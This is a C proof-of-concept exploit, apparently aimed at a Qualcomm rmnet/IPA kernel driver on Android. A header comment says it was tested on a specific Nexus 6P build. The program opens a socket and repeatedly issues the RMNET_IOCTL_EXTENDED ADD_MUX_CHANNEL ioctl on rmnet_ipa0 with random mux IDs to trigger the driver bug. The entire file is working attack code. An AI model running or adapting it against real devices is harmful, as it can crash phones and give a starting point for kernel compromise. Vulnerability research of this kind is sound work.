/*
 *  the poc has been tested in nexus-6p with fingerprint : google/angler/angler:6.0.1/MMB29M/2431559:user/release-keys
 */

#include <sys/types.h>  
#include <sys/ioctl.h>  
#include <sys/socket.h>  
#include <net/if.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <netdb.h>  
#include <string.h>  
#include <fcntl.h>  
#include <sys/prctl.h>  
#include <string.h>  
#include <errno.h>
#include <netinet/in.h>
#include <net/if_arp.h>
#include <linux/wireless.h>
#include "msm_rmnet.h"
#include "ipa_qmi_service_v01.h"

#define WAN_IOC_MAGIC 0x69
#define WAN_IOCTL_ADD_FLT_RULE          0
#define WAN_IOCTL_ADD_FLT_INDEX         2
#define WAN_IOC_ADD_FLT_RULE _IOWR(WAN_IOC_MAGIC, \
		WAN_IOCTL_ADD_FLT_RULE, \
		struct ipa_install_fltr_rule_req_msg_v01 *)
#define WAN_IOC_ADD_FLT_RULE_INDEX _IOWR(WAN_IOC_MAGIC, \
		WAN_IOCTL_ADD_FLT_INDEX, \
		struct ipa_fltr_installed_notif_req_msg_v01 *)

int trigger(int sfd, char* ifname, int freq)
{
	int ret;
	struct ifreq ifr;
	unsigned cmd = RMNET_IOCTL_EXTENDED;
	strlcpy(ifr.ifr_name, ifname, IFNAMSIZ);
	struct rmnet_ioctl_extended_s extendata;
	int i;
	ifr.ifr_ifru.ifru_data = &extendata;
	extendata.extended_ioctl =  RMNET_IOCTL_ADD_MUX_CHANNEL;
	for(i=0; i<3; i++) {	
		extendata.u.rmnet_mux_val.mux_id = rand();
		printf("[-] call ioctl %d\n",i);
		if (ioctl(sfd, cmd, &ifr) < 0) {
			printf("%s, %s\n",__func__, strerror(errno));
			ret = -1;
		}
	}

	return ret;
}

int main()
{
	int i = 0;
	int sockfd;
	char* ifname = "rmnet_ipa0";

	srand(time(NULL));

	if((sockfd = socket(AF_INET, SOCK_DGRAM, 0))<0)
	{
		printf("socket = %d, %s\n",sockfd,strerror(errno));
		exit(1);
	}

	trigger(sockfd, ifname, 0);

	return 0;
}
